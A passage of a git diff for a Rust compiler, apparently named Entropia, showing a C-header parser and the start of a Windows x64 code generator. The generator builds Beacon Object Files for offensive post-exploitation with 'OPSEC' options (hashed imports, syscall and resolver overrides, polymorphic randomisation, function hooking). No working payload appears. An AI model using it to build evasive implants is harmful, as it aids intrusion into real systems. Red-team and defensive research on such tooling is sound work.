char).is_ascii_digit() { + self.pos += 1; + } + let raw = std::str::from_utf8(&self.src[start..self.pos]).unwrap(); + let v: i64 = raw.parse() + .map_err(|e: std::num::ParseIntError| self.err(&format!("bad int literal: {e}")))?; + self.skip_int_suffix(); + return Ok(CTok::Int(v)); + } + + let tok = match c { + b'#' => CTok::Hash, + b'{' => CTok::LBrace, b'}' => CTok::RBrace, + b'(' => CTok::LParen, b')' => CTok::RParen, + b'[' => CTok::LBracket, b']' => CTok::RBracket, + b';' => CTok::Semi, + b',' => CTok::Comma, + b'*' => CTok::Star, + b'-' => CTok::Minus, + _ => return Err(self.err(&format!("unexpected character `{}`", c as char))), + }; + self.pos += 1; + Ok(tok) + } + + fn skip_int_suffix(&mut self) { + while self.pos < self.src.len() { + let c = self.src[self.pos]; + if c == b'u' || c == b'U' || c == b'l' || c == b'L' { + self.pos += 1; + } else { + break; + } + } + } +} + + +// PARSER +struct CParser<'a> { + tok: CTokenizer<'a>, + cur: CTok, + /// Currently-known type names. Starts with the C primitive type-spelling + /// vocabulary; grows as the file declares typedefs, structs, and unions. + typedefs: std::collections::HashMap, + /// Struct/union tags declared so far. Used to resolve struct Tag and + /// union Tag references. + struct_tags: std::collections::HashSet, + out: CImport, + path: String, + /// Counter for anonymous nested struct/union types synthesized from + /// struct { ... } name; fields. + anon_counter: usize, +} + +impl<'a> CParser<'a> { + fn new(src: &'a str, path: &str) -> Self { + let mut typedefs = std::collections::HashMap::new(); + for (c_name, ek_name) in PRIMITIVES { + typedefs.insert(c_name.to_string(), ek_name.to_string()); + } + let mut tok = CTokenizer::new(src, path); + let cur = tok.next().unwrap_or(CTok::Eof); + Self { + tok, + cur, + typedefs, + struct_tags: std::collections::HashSet::new(), + out: CImport::default(), + path: path.to_string(), + anon_counter: 0, + } + } + + fn err(&self, msg: &str) -> String { + format!("{}:{}: {}", self.path, self.tok.line, msg) + } + + fn advance(&mut self) -> Result { + let prev = std::mem::replace(&mut self.cur, CTok::Eof); + self.cur = self.tok.next()?; + Ok(prev) + } + + fn peek_ident(&self) -> Option<&str> { + if let CTok::Ident(s) = &self.cur { Some(s.as_str()) } else { None } + } + + fn expect_ident(&mut self) -> Result { + match &self.cur { + CTok::Ident(s) => { let s = s.clone(); self.advance()?; Ok(s) } + other => Err(self.err(&format!("expected identifier, got {other:?}"))), + } + } + + fn expect(&mut self, t: &CTok, what: &str) -> Result<(), String> { + if std::mem::discriminant(&self.cur) == std::mem::discriminant(t) { + self.advance()?; Ok(()) + } else { + Err(self.err(&format!("expected {what}, got {:?}", self.cur))) + } + } + + /// Skip "__attribute__((...))", "__declspec"", and SAL annotation + /// idents like _In_, _Out_, _Reserved_. Returns true if at least + /// one annotation was eaten so callers can re-check cur. + fn skip_annotations(&mut self) -> Result { + let mut ate = false; + loop { + let name = match self.peek_ident() { + Some(s) => s.to_string(), + None => break, + }; + let is_attr = name == "__attribute__" + || name == "__declspec" + || name == "__cdecl" + || name == "__stdcall" + || name == "__fastcall" + || name == "__pragma" + || name == "STDMETHODCALLTYPE" + || name == "WINAPI" + || name == "CALLBACK" + || name == "APIENTRY" + || name == "NTAPI" + || name == "WSAAPI"; + let is_sal = name.starts_with('_') + && name.ends_with('_') + && name.len() >= 3 + && name.chars().nth(1).map_or(false, |c| c.is_ascii_uppercase()); + if !(is_attr || is_sal) { break; } + self.advance()?; + // Some attributes are followed by (...). Eat balanced parens. + if matches!(self.cur, CTok::LParen) { + self.eat_balanced_parens()?; + } + ate = true; + } + Ok(ate) + } + + /// Process a balanced "(...)"" block. The opening paren must be the + /// current token. We process it and everything up to (and including) its matching close. + /// Used for annotation arguments and to skip function-pointer parameter lists we don't model. + fn eat_balanced_parens(&mut self) -> Result<(), String> { + self.expect(&CTok::LParen, "`(`")?; + let mut depth: i32 = 1; + while depth > 0 { + match &self.cur { + CTok::LParen => depth += 1, + CTok::RParen => depth -= 1, + CTok::Eof => return Err(self.err("unterminated `(...)`")), + _ => {} + } + self.advance()?; + } + Ok(()) + } + + fn parse_all(&mut self) -> Result<(), String> { + loop { + self.skip_annotations()?; + match &self.cur { + CTok::Eof => return Ok(()), + CTok::Hash => self.parse_define()?, + CTok::Ident(s) if s == "typedef" => self.parse_typedef()?, + CTok::Ident(s) if s == "struct" => self.parse_record_decl(false)?, + CTok::Ident(s) if s == "union" => self.parse_record_decl(true)?, + CTok::Semi => { self.advance()?; } + other => return Err(self.err(&format!( + "expected `#define`, `typedef`, `struct`, or `union` at top level, got {other:?}" + ))), + } + } + } + + /// # define IDENT INTEGER + fn parse_define(&mut self) -> Result<(), String> { + self.advance()?; // eat # + let kw = self.expect_ident()?; + if kw != "define" { + return Err(self.err(&format!("only `#define` is supported, got `#{kw}`"))); + } + let name = self.expect_ident()?; + let negate = if matches!(self.cur, CTok::Minus) { + self.advance()?; + true + } else { + false + }; + let val = match &self.cur { + CTok::Int(n) => { let v = *n; self.advance()?; if negate { -v } else { v } } + other => return Err(self.err(&format!( + "`#define {name}` must be followed by an integer literal (got {other:?}); \ + function-like macros aren't supported" + ))), + }; + self.out.statics.push(StaticDecl { + name, + ty: "u32".to_string(), + init: Some(Expr::Int(val)), + }); + Ok(()) + } + + fn parse_typedef(&mut self) -> Result<(), String> { + self.advance()?; // eat `typedef` + self.skip_annotations()?; + + // typedef struct/union ... + if let CTok::Ident(s) = &self.cur { + if s == "struct" || s == "union" { + let is_union = s == "union"; + self.advance()?; + self.skip_annotations()?; + // Optional tag. + let tag = if let CTok::Ident(t) = &self.cur { + let t = t.clone(); + self.advance()?; + if matches!(self.cur, CTok::LBrace) { + Some(t) + } else { + // typedef struct OldTag NEW [, *PALIAS]*; + let new_name = self.expect_ident()?; + self.skip_pointer_aliases()?; + self.expect(&CTok::Semi, "`;`")?; + self.typedefs.insert(new_name, t); + return Ok(()); + } + } else { None }; + self.expect(&CTok::LBrace, "`{`")?; + let fields = self.parse_field_list()?; + self.expect(&CTok::RBrace, "`}`")?; + let typedef_name = self.expect_ident()?; + self.skip_pointer_aliases()?; + self.expect(&CTok::Semi, "`;`")?; + self.out.structs.push(StructDef { + name: typedef_name.clone(), + fields, + is_union, + attrs: Vec::new(), + }); + self.struct_tags.insert(typedef_name.clone()); + if let Some(t) = tag { + self.typedefs.insert(t.clone(), typedef_name.clone()); + self.struct_tags.insert(t); + } + return Ok(()); + } + } + + // Plain typedef: typedef [array]?; + // OR function pointer: typedef [CC] (*NEW)(PARAMS); + let base = self.parse_type_specifier()?; + let stars = self.eat_pointer_stars(); + self.skip_annotations()?; + + // Function pointer: an open paren here means we're in + // typedef RET (*NAME)(...) or typedef RET (CC *NAME)(...). + if matches!(self.cur, CTok::LParen) { + return self.parse_function_pointer_typedef(); + } + + let resolved = if stars > 0 { "u64".to_string() } else { base }; + let new_name = self.expect_ident()?; + // Optional array suffix: typedef int Foo[3]; to register Foo as + // an array typedef int[3]. Common in WinSDK headers. + let final_ty = if matches!(self.cur, CTok::LBracket) { + self.advance()?; + let n = match &self.cur { + CTok::Int(n) => { let v = *n as usize; self.advance()?; v } + other => return Err(self.err(&format!( + "expected integer array length in typedef, got {other:?}" + ))), + }; + self.expect(&CTok::RBracket, "`]`")?; + format!("{resolved}[{n}]") + } else { + resolved + }; + self.skip_pointer_aliases()?; + self.expect(&CTok::Semi, "`;`")?; + self.typedefs.insert(new_name, final_ty); + Ok(()) + } + + fn parse_function_pointer_typedef(&mut self) -> Result<(), String> { + self.expect(&CTok::LParen, "`(`")?; + self.skip_annotations()?; + // Optional inner * (or several). At least one is required for a + // function-pointer typedef but we're forgiving. + let _stars = self.eat_pointer_stars(); + self.skip_annotations()?; + let name = self.expect_ident()?; + self.expect(&CTok::RParen, "`)`")?; + // Skip the parameter list. + self.eat_balanced_parens()?; + // Some headers stick attributes between the params and ;. + self.skip_annotations()?; + self.expect(&CTok::Semi, "`;`")?; + self.typedefs.insert(name, "u64".to_string()); + Ok(()) + } + + /// struct|union NAME { fields }; - declaration without typedef. + /// Or struct NAME; - forward declaration, registered as a struct + /// tag of opaque size (treated as void* if used as a field). + fn parse_record_decl(&mut self, is_union: bool) -> Result<(), String> { + self.advance()?; // eat `struct` or `union` + self.skip_annotations()?; + let name = self.expect_ident()?; + if matches!(self.cur, CTok::Semi) { + self.advance()?; + self.struct_tags.insert(name); + return Ok(()); + } + self.expect(&CTok::LBrace, "`{`")?; + let fields = self.parse_field_list()?; + self.expect(&CTok::RBrace, "`}`")?; + self.expect(&CTok::Semi, "`;`")?; + self.struct_tags.insert(name.clone()); + self.out.structs.push(StructDef { name, fields, is_union, attrs: Vec::new() }); + Ok(()) + } + + /// [[N]] ; repeated until }. Also handles + /// nested struct|union { fields } name; and RET (*name)(...) + /// function-pointer fields. + fn parse_field_list(&mut self) -> Result, String> { + let mut fields = Vec::new(); + while !matches!(self.cur, CTok::RBrace) { + self.skip_annotations()?; + + // Nested record: struct { ... } name; or union { ... } name; + // (named or anonymous tag). The tag, if present, is recorded + // and the synthesized name is used for the field type. + if let CTok::Ident(s) = &self.cur { + if s == "struct" || s == "union" { + let is_union_inner = s == "union"; + // Peek-by-advance: save state for the rare case the + // construct is struct Tag field; (use of a + // previously-declared record by tag, no braces). + self.advance()?; + self.skip_annotations()?; + let tag = if let CTok::Ident(t) = &self.cur { + let t = t.clone(); + self.advance()?; + Some(t) + } else { None }; + + if matches!(self.cur, CTok::LBrace) { + // Inline definition. Synthesize a name. + let syn = match &tag { + Some(t) if !t.is_empty() => t.clone(), + _ => { + self.anon_counter += 1; + format!("__anon_{}_{}", if is_union_inner {"u"} else {"s"}, self.anon_counter) + } + }; + self.expect(&CTok::LBrace, "`{`")?; + let inner_fields = self.parse_field_list()?; + self.expect(&CTok::RBrace, "`}`")?; + self.out.structs.push(StructDef { + name: syn.clone(), + fields: inner_fields, + is_union: is_union_inner, + attrs: Vec::new(), + }); + self.struct_tags.insert(syn.clone()); + + self.skip_annotations()?; + if matches!(self.cur, CTok::Semi) { + // Anonymous member - synthesize a field name. + self.advance()?; + let fname = format!("__anon_field_{}", self.anon_counter); + fields.push((fname, syn)); + continue; + } + let fname = self.expect_ident()?; + let arr = self.maybe_array_suffix()?; + self.expect(&CTok::Semi, "`;`")?; + let final_ty = match arr { + None => syn, + Some(n) => format!("{syn}[{n}]"), + }; + fields.push((fname, final_ty)); + continue; + } else { + let base = tag.clone().ok_or_else(|| self.err( + "expected `{` or a tag after `struct`/`union` in field" + ))?; + let stars = self.eat_pointer_stars(); + self.skip_annotations()?; + let fname = self.expect_ident()?; + let arr = self.maybe_array_suffix()?; + self.expect(&CTok::Semi, "`;`")?; + let elem_ty = if stars > 0 { "u64".to_string() } else { base }; + let final_ty = match arr { + None => elem_ty, + Some(n) => format!("{elem_ty}[{n}]"), + }; + fields.push((fname, final_ty)); + continue; + } + } + } + + // Standard field: [*]* [[N]]?;. Also + // handles function-pointer fields: (CC *name)(...);. + let base = self.parse_type_specifier()?; + let stars = self.eat_pointer_stars(); + self.skip_annotations()?; + + // Function-pointer field: (*name)(params) or with + // calling-convention prefix. Collapses to u64. + if matches!(self.cur, CTok::LParen) { + self.expect(&CTok::LParen, "`(`")?; + self.skip_annotations()?; + let _inner_stars = self.eat_pointer_stars(); + self.skip_annotations()?; + let fname = self.expect_ident()?; + self.expect(&CTok::RParen, "`)`")?; + self.eat_balanced_parens()?; + self.skip_annotations()?; + self.expect(&CTok::Semi, "`;`")?; + fields.push((fname, "u64".to_string())); + continue; + } + + let fname = self.expect_ident()?; + let arr = self.maybe_array_suffix()?; + self.skip_annotations()?; + self.expect(&CTok::Semi, "`;`")?; + + let elem_ty = if stars > 0 { "u64".to_string() } else { base }; + let final_ty = match arr { + None => elem_ty, + Some(n) => format!("{elem_ty}[{n}]"), + }; + fields.push((fname, final_ty)); + } + Ok(fields) + } + + /// Optional [N] after an identifier in a field/typedef. Returns + /// Some if present, None if not. + fn maybe_array_suffix(&mut self) -> Result, String> { + if !matches!(self.cur, CTok::LBracket) { return Ok(None); } + self.advance()?; + let n = match &self.cur { + CTok::Int(n) => { let v = *n as usize; self.advance()?; v } + other => return Err(self.err(&format!( + "expected integer array length, got {other:?}" + ))), + }; + self.expect(&CTok::RBracket, "`]`")?; + Ok(Some(n)) + } + + /// Read one type-specifier: optionally signed/unsigned followed by an + /// integer keyword (char/short/int/long/long long), OR a struct Tag, + /// OR a union Tag, OR a previously-defined typedef. + fn parse_type_specifier(&mut self) -> Result { + loop { + if let CTok::Ident(s) = &self.cur { + if s == "const" || s == "volatile" || s == "restrict" { self.advance()?; continue; } + } + break; + } + // struct Tag or union Tag + if let CTok::Ident(s) = &self.cur { + if s == "struct" || s == "union" { + self.advance()?; + let tag = self.expect_ident()?; + // Auto-register the tag as a known type so forward + // references through pointers (struct Foo*) work + // even if the definition appears later. + self.struct_tags.insert(tag.clone()); + return Ok(tag); + } + } + let mut is_unsigned = None::; + if let CTok::Ident(s) = &self.cur { + if s == "unsigned" { is_unsigned = Some(true); self.advance()?; } + else if s == "signed" { is_unsigned = Some(false); self.advance()?; } + } + let kw = match &self.cur { + CTok::Ident(s) => s.clone(), + other => return Err(self.err(&format!("expected type, got {other:?}"))), + }; + match kw.as_str() { + "char" => { self.advance()?; Ok(if is_unsigned.unwrap_or(true) { "u8".into() } else { "i8".into() }) } + "short" => { self.advance()?; Ok(if is_unsigned.unwrap_or(false) { "u16".into() } else { "i16".into() }) } + "int" => { self.advance()?; Ok(if is_unsigned.unwrap_or(false) { "u32".into() } else { "i32".into() }) } + "long" => { + self.advance()?; + let is_ll = matches!(&self.cur, CTok::Ident(s) if s == "long"); + if is_ll { self.advance()?; } + let size_bits = if is_ll { 64 } else { 32 }; + Ok(match (is_unsigned.unwrap_or(false), size_bits) { + (true, 64) => "u64".into(), + (false, 64) => "i64".into(), + (true, 32) => "u32".into(), + (false, 32) => "i32".into(), + _ => unreachable!(), + }) + } + other => { + if is_unsigned.is_some() { + return Err(self.err(&format!( + "`{}{kw}` is not a valid C integer type", + if is_unsigned == Some(true) { "unsigned " } else { "signed " } + ))); + } + if other == "void" { + self.advance()?; + return Ok("void".into()); + } + self.advance()?; + if let Some(resolved) = self.typedefs.get(other) { + Ok(resolved.clone()) + } else if self.struct_tags.contains(other) { + Ok(other.to_string()) + } else { + Err(self.err(&format!("unknown type `{other}`"))) + } + } + } + } + + fn eat_pointer_stars(&mut self) -> usize { + let mut n = 0; + while matches!(self.cur, CTok::Star) { + let _ = self.advance(); + n += 1; + } + n + } + + /// , *ALIAS [, *ALIAS2]* - common C pattern after a typedef to also + /// expose a pointer alias. We register the alias names as u64 typedefs + /// so they're usable in subsequent name positions. + fn skip_pointer_aliases(&mut self) -> Result<(), String> { + while matches!(self.cur, CTok::Comma) { + self.advance()?; + let _stars = self.eat_pointer_stars(); + if let CTok::Ident(s) = &self.cur { + let n = s.clone(); + self.advance()?; + self.typedefs.insert(n, "u64".to_string()); + } else { + return Err(self.err("expected identifier after `,`")); + } + } + Ok(()) + } +} + +/// C primitive spellings to Entropia canonical type names. +// These get pre-loaded into the typedef table so user-written headers can refer to them by either form. +const PRIMITIVES: &[(&str, &str)] = &[ + ("uint8_t", "u8"), + ("uint16_t", "u16"), + ("uint32_t", "u32"), + ("uint64_t", "u64"), + ("int8_t", "i8"), + ("int16_t", "i16"), + ("int32_t", "i32"), + ("int64_t", "i64"), + ("size_t", "u64"), + ("ptrdiff_t","i64"), + ("uintptr_t","u64"), + ("intptr_t", "i64"), + ("FILE", "u64"), +]; diff --git a/src/codegen.rs b/src/codegen.rs new file mode 100644 index 0000000..53905ca --- /dev/null +++ b/src/codegen.rs @@ -0,0 +1,3450 @@ + +use std::collections::{HashMap, HashSet}; + +use crate::asm::{AsmBody, AsmLine, AsmMem, AsmMemBase, AsmOperand}; +use crate::ast::*; +use crate::encoder::{Cond, DbgMark, Encoder, Reg64}; +use crate::gc; +use crate::macros; +use crate::polymorphism; +use crate::resolver::{self, Import}; +use crate::veh; +use crate::shared; + +/// Namespaces the compiler interprets directly instead of treating them as +/// Win32 DLL prefixes. Add to this list when introducing new intrinsic +/// groups (mem.*, shared.*, str.*, future syscall.*). +const INTRINSIC_NAMESPACES: &[&str] = &["mem", "shared", "str"]; + +pub struct CompiledBlob { + pub code: Vec, + pub dbg_marks: Vec, + pub dbg_vars: Vec, + pub cna_script: Option, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum GcMode { + /// Default. Emit the GC runtime iff the program calls mem.alloc. + Auto, + /// Always emit the GC runtime. + On, + /// Never emit the runtime. mem.alloc becomes a compile error. + Off, + Manual, +} + +impl Default for GcMode { + fn default() -> Self { GcMode::Auto } +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum BuildKind { Standard, Bof, Coff } + +impl Default for BuildKind { + fn default() -> Self { BuildKind::Standard } +} + +impl BuildKind { + pub fn is_object(self) -> bool { + matches!(self, BuildKind::Bof | BuildKind::Coff) + } + pub fn entry_name(self) -> &'static str { + match self { + BuildKind::Standard => "main", + BuildKind::Bof | BuildKind::Coff => "go", + } + } +} + +const FMT_BUF_SIZE: usize = 256; + +const STACK_STR_MAX_BYTES: usize = 64; + +/// T* is the canonical type spelling for "pointer to T". Any number of +/// trailing *s is allowed (the parser keeps them) - only the rightmost +/// * is consumed by a single deref / pointee lookup. +fn is_pointer_type(ty: &str) -> bool { + ty.ends_with('*') +} + +fn parse_array_type(ty: &str) -> Option<(&str, usize)> { + let close = ty.strip_suffix(']')?; + let open = close.rfind('[')?; + let elem = &close[..open]; + let n_str = &close[open + 1..]; + let n: usize = n_str.parse().ok()?; + Some((elem, n)) +} + +#[derive(Debug, Default, Clone)] +pub struct Overrides { + pub bootstrap: Option, + pub resolver: Option, + pub ntcall: Option, +} + +#[derive(Debug, Default, Clone)] +pub struct HookTable { + /// Target symbol (e.g. USER32$MessageBoxA or BeaconPrintf) to + /// hook function name. Lookup is by the SAME key the call site + /// would otherwise emit as __imp_. + pub map: HashMap, +} + +#[derive(Debug, Default, Clone)] +pub struct StageTable { + /// Functions called after init, before user code. Source order. + pub init: Vec, + /// Functions called at the ret_label, before frame tear-down. + /// Source order. Each call is wrapped in a save/restore of rax + /// so the user's return value survives. + pub exit: Vec, +} + +/// Parsed view of one function's hook-related attributes. Lifetime +/// of these objects is the codegen pass; they sit alongside the +/// frame metadata while a function is being lowered. +#[derive(Debug, Default, Clone)] +struct FnHookCtx { + /// Some when this function is a [Hook] + /// implementation. Codegen uses it to suppress recursion: a hook + /// for X calling X internally redirects to the real X. + is_hook_for: Option, + /// True when [NoHook] (no arg) appears on this function - all + /// hooked targets bypass the hook table inside this body. + no_hook_all: bool, + /// [NoHook] entries - targets to skip individually. + no_hook: HashSet, +} + +/// Walk every function's attribute list and resolve OPSEC overrides +/// + the aspect-oriented hook table. Returns both, paired so codegen +/// only walks attribute lists once. +fn build_attributes(prog: &Program) -> Result<(Overrides, HookTable, StageTable), String> { + let mut overrides = Overrides::default(); + let mut hooks = HookTable::default(); + let mut stages = StageTable::default(); + for f in &prog.functions { + for a in &f.attrs { + match a.kind.as_str() { + "Override" => { + let slot = a.arg.as_deref().ok_or_else(|| format!( + "function `{}`: `[Override]` needs a slot name - try `[Override(Bootstrap)]`, \ + `[Override(Resolver)]`, or `[Override(NtCall)]`", + f.name + ))?; + let target: &mut Option = match slot { + "Bootstrap" => &mut overrides.bootstrap, + "Resolver" => &mut overrides.resolver, + "NtCall" => &mut overrides.ntcall, + other => return Err(format!( + "function `{}`: unknown override slot `{other}` \ + (valid: Bootstrap, Resolver, NtCall)", + f.name + )), + }; + if let Some(existing) = target { + return Err(format!( + "two functions claim `[Override({slot})]`: `{existing}` and `{}`. \ + Only one override per slot is allowed.", + f.name + )); + } + *target = Some(f.name.clone()); + } + "Hook" => { + let target = a.arg.as_deref().ok_or_else(|| format!( + "function `{}`: `[Hook]` needs a target symbol - \ + try `[Hook(\"USER32$MessageBoxA\")]` or `[Hook(\"BeaconPrintf\")]`", + f.name + ))?; + if let Some(existing) = hooks.map.get(target) { + return Err(format!( + "two functions claim `[Hook(\"{target}\")]`: \ + `{existing}` and `{}`. A hook target may have \ + only one implementation.", + f.name + )); + } + if f.is_extern { + return Err(format!( + "function `{}`: `[Hook]` cannot apply to an `extern fn` - \ + a hook needs a body to redirect into.", + f.name + )); + } + hooks.map.insert(target.to_string(), f.name.clone()); + } + "NoHook" => { + } + "BofCommand" => { + } + "Stage" => { + let slot = a.arg.as_deref().ok_or_else(|| format!( + "function `{}`: `[Stage]` needs a phase name - \ + try `[Stage(Init)]` (runs after init, before user code) or \ + `[Stage(Exit)]` (runs before the entry function returns)", + f.name + ))?; + if !f.params.is_empty() || f.ret_ty != "void" { + return Err(format!( + "function `{}`: `[Stage({slot})]` requires the signature \ + `fn {}() -> void` - stage hooks take no arguments and \ + return nothing.", + f.name, f.name + )); + } + if f.is_extern { + return Err(format!( + "function `{}`: `[Stage({slot})]` cannot apply to an \ + `extern fn` - a stage handler needs a body to emit.", + f.name + )); + } + match slot { + "Init" => stages.init.push(f.name.clone()), + "Exit" => stages.exit.push(f.name.clone()), + other => return Err(format!( + "function `{}`: unknown stage `{other}` \ + (valid: Init, Exit)", + f.name + )), + } + } + other => return Err(format!( + "function `{}`: unknown attribute `{}` (valid: `Override(...)`, \ + `Hook(\"...\")`, `NoHook[(\"...\")]`, `BofCommand(\"...\")`, \ + `Stage(Init|Exit)`)", + f.name, other + )), + } + } + } + Ok((overrides, hooks, stages)) +} + +/// Distil the per-function hook context. Cheap to call repeatedly - +/// runs once at the top of gen_function. +fn collect_fn_hook_ctx(f: &Function) -> FnHookCtx { + let mut ctx = FnHookCtx::default(); + for a in &f.attrs { + match a.kind.as_str() { + "Hook" => { + if let Some(t) = &a.arg { + ctx.is_hook_for = Some(t.clone()); + } + } + "NoHook" => match &a.arg { + None => ctx.no_hook_all = true, + Some(t) => { ctx.no_hook.insert(t.clone()); } + }, + _ => {} + } + } + ctx +} + +fn printf_spec_for(spec: &str, arg_ty: &str) -> Result { + Ok(match spec { + "" => { + if arg_ty == "str" { "%s".into() } + else if arg_ty == "wstr" { "%S".into() } // wide-string + else if arg_ty.ends_with('*') { "%p".into() } + else { "%I64d".into() } + } + "d" => "%I64d".into(), + "u" => "%I64u".into(), + "x" => "%I64x".into(), + "X" => "%I64X".into(), + "s" => "%s".into(), + "p" => "%p".into(), + other => return Err(format!( + "str.format: unknown specifier `{{{other}}}` \ + (try `{{}}`, `{{d}}`, `{{u}}`, `{{x}}`, `{{X}}`, `{{s}}`, `{{p}}`)" + )), + }) +} + +/// Strip exactly one trailing * to get the pointee type. u32* to u32, Beacon** to Beacon*. Returns None if ty doesn't end in *. +fn pointee(ty: &str) -> Option<&str> { + ty.strip_suffix('*') +} + +/// Per-field metadata after layout. offset is the field's byte offset +/// from the start of its enclosing struct; size is the field's storage +/// width in bytes. Computed by [CodeGen::layout_struct]. +#[derive(Debug, Clone)] +pub struct StructField { + pub ty: String, + pub offset: i32, + pub size: usize, +} + +#[derive(Debug, Clone)] +pub struct StructLayout { + pub size: usize, + pub align: usize, + pub fields: HashMap, +} + +/// A global declared at module scope. The label is the data-section anchor +/// the codegen uses for every read/write of this global. +#[derive(Debug, Clone)] +struct GlobalSlot { + label: String, + ty: String, + /// Saved at codegen time so main's prologue can replay the initialiser + /// after the runtime bootstraps but before user code. + init: Option, +} + +#[derive(Debug, Clone)] +enum ResolvedMem { + /// [rbp + disp] - frame-relative slot. Distinguished from + /// the generic BaseDisp so the encoder's specialised + /// mov_r64_rbp_disp / lea_r64_r64disp paths get picked. + RbpDisp(i32), + /// [base + disp] - base-register relative. + BaseDisp { base: Reg64, disp: i32 }, + /// [base + idx*scale + disp] - SIB-indexed. + BaseIdx { base: Reg64, idx: Reg64, scale: u32, disp: i32 }, + /// [rip + label] - global / static data, resolved by name. + RipData (String), + /// [disp] (no base/index). Only valid with a segment override. + SegAbs { disp: i32 }, +} + +pub struct CodeGen { + enc: Encoder, + /// fname -> stack-offset map for the current function + locals: HashMap, + local_types: HashMap, + loop_stack: Vec<(String, String)>, + next_off: i32, + label_counter: u32, + current_ret_label: String, + imports: Vec, + /// Set by the pre-scan in generate so main's prologue knows whether to + /// emit call __resolve_imports. Without this, the prologue check would + /// race with gen_call populating self.imports later in the same pass. + needs_resolver: bool, + needs_veh: bool, + needs_gc: bool, + /// Build-level GC selection (CLI: --gc=auto|on|off). Auto is the + /// historical behaviour - runtime is emitted iff mem.alloc is used. + gc_mode: GcMode, + kind: BuildKind, + /// Set when the program calls shared.get/shared.put. Controls both + /// the __host_services slot + the get/put trampolines and the rcx save + /// in main's prologue. + needs_shared: bool, + overrides: Overrides, + stages: StageTable, + hooks: HookTable, + /// Per-function hook context for the function currently being + /// lowered. [Hook] self-recursion bypass and [NoHook] / + /// [NoHook] per-call-site exclusion both read from this. + current_fn_hook: FnHookCtx, + /// Layout of every struct declared in the program. Populated once at + /// the top of generate so field offsets are available throughout. + struct_layouts: HashMap, + /// Every static declared in the program. Insertion-ordered to keep + /// initialiser emission deterministic. + globals: Vec, + /// Reverse index from variable name to its position in globals so + /// lookups in gen_expr are O. + globals_idx: HashMap, + /// Cached fn_name -> ret_ty for every locally-declared function. + /// Built once at the top of generate so callsite lowering can ask + /// "does this fn return a struct?" without re-walking the AST. + fn_ret_types: HashMap, + extern_fns: HashSet, + current_ret_dst_off: Option, + /// Declared return type of the function currently being lowered. + /// Stmt::Ret reads it when the type is a struct so it knows the + /// size of the memcpy into the hidden destination. + current_ret_ty: String, + opsec: polymorphism::OpsecConfig, + rng: polymorphism::Rng, +} + +impl CodeGen { + /// Convenience constructor with default GcMode::Auto. Kept for + /// external Rust callers / future test harnesses; the CLI driver goes + /// through with_gc_mode so the flag actually reaches the codegen. + #[allow(dead_code)] + pub fn new() -> Self { Self::with_options(GcMode::Auto, BuildKind::Standard) } + + pub fn with_gc_mode(gc_mode: GcMode) -> Self { + Self::with_options(gc_mode, BuildKind::Standard) + } + + pub fn with_options(gc_mode: GcMode, kind: BuildKind) -> Self { + Self::with_opsec(gc_mode, kind, polymorphism::OpsecConfig::default()) + } + + pub fn with_opsec( + gc_mode: GcMode, + kind: BuildKind, + opsec: polymorphism::OpsecConfig, + ) -> Self { + // Resolve the seed once so every randomised pass in this + // build shares the same RNG state. opsec.seed == None + // means "draw from system-time nanos". + let resolved_seed = opsec.seed.unwrap_or_else(|| { + use std::time::{SystemTime, UNIX_EPOCH}; + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_nanos() as u64) + .unwrap_or(0xDEAD_BEEF_DEAD_BEEF) + }); + Self { + enc: Encoder::new(), + locals: HashMap::new(), + local_types: HashMap::new(), + loop_stack: Vec::new(), + overrides: Overrides::default(), + stages: StageTable::default(), + hooks: HookTable::default(), + current_fn_hook: FnHookCtx::default(), + next_off: 0, + label_counter: 0, + current_ret_label: String::new(), + imports: Vec::new(), + needs_resolver: false, + needs_veh: false, + needs_gc: false, + needs_shared: false, + gc_mode, + kind, + struct_layouts: HashMap::new(), + globals: Vec::new(), + globals_idx: HashMap::new(), + fn_ret_types: HashMap::new(), + extern_fns: HashSet::new(), + current_ret_dst_off: None, + current_ret_ty: String::new(), + opsec, + rng: polymorphism::Rng::new(resolved_seed), + } + } + + fn new_label(&mut self, prefix: &str) -> String { + self.label_counter += 1; + format!(".L{prefix}_{}", self.label_counter) + } + + fn ensure_win32_import(&mut self, dll: &str, func: &str) -> Win32CallSite { + let bof_external = self.kind.is_object() && !self.opsec.hashed_imports; + if bof_external { + let lib_upper = dll.trim_end_matches(".dll").to_ascii_uppercase(); + let ext = format!("__imp_{lib_upper}${func}"); + Win32CallSite::Extern(ext) + } else { + let slot = resolver::slot_label(dll, func); + if !self.imports.iter().any(|i| i.slot == slot) { + self.imports.push(Import { + dll: dll.to_string(), + func: func.to_string(), + slot: slot.clone(), + }); + self.enc.add_bss(&slot, 8); + } + Win32CallSite::Slot(slot) + } + } + + /// Emit a call through the call-site descriptor returned by + /// ensure_win32_import. Caller is responsible for argument + /// setup + shadow space + alignment. + fn emit_win32_call(&mut self, site: &Win32CallSite) { + match site { + Win32CallSite::Extern(sym) => self.enc.call_extern(sym), + Win32CallSite::Slot(slot) => self.enc.call_indirect_data(slot), + } + } + + /// VEH: emit the AddVectoredExceptionHandler + /// call at the start of the entry function. Stores the returned + /// HANDLE into __opsec_veh_handle so the epilogue can remove it. + fn emit_veh_register(&mut self) { + veh::ensure_veh_slot(&mut self.enc); + let site = self.ensure_win32_import("kernel32.dll", "AddVectoredExceptionHandler"); + self.enc.sub_r64_imm32(Reg64::Rsp, 0x20); + self.enc.mov_r64_imm64(Reg64::Rcx, 1); // First = TRUE + self.enc.lea_r64_code(Reg64::Rdx, veh::VEH_FN); // handler + self.emit_win32_call(&site); + self.enc.add_r64_imm32(Reg64::Rsp, 0x20); + self.enc.mov_data_r64(veh::VEH_HANDLE_SLOT, Reg64::Rax); + } + + /// VEH: emit the RemoveVectoredExceptionHandler call at + /// the entry function's epilogue. Preserves rax (the function's + /// return value) across the call via a .bss scratch slot. + fn emit_veh_unregister(&mut self) { + veh::ensure_veh_slot(&mut self.enc); + const SAVED_RAX_SLOT: &str = "__opsec_veh_saved_rax"; + if !self.enc.data_has(SAVED_RAX_SLOT) { + self.enc.add_bss(SAVED_RAX_SLOT, 8); + } + let site = self.ensure_win32_import("kernel32.dll", "RemoveVectoredExceptionHandler"); + let skip_label = self.new_label("veh_no_unreg"); + + // Save the function's return value before clobbering rax. + self.enc.mov_data_r64(SAVED_RAX_SLOT, Reg64::Rax); + + // Load handle. Skip the call if it's zero (registration + // probably failed at startup; nothing to remove). + self.enc.mov_r64_data(Reg64::Rcx, 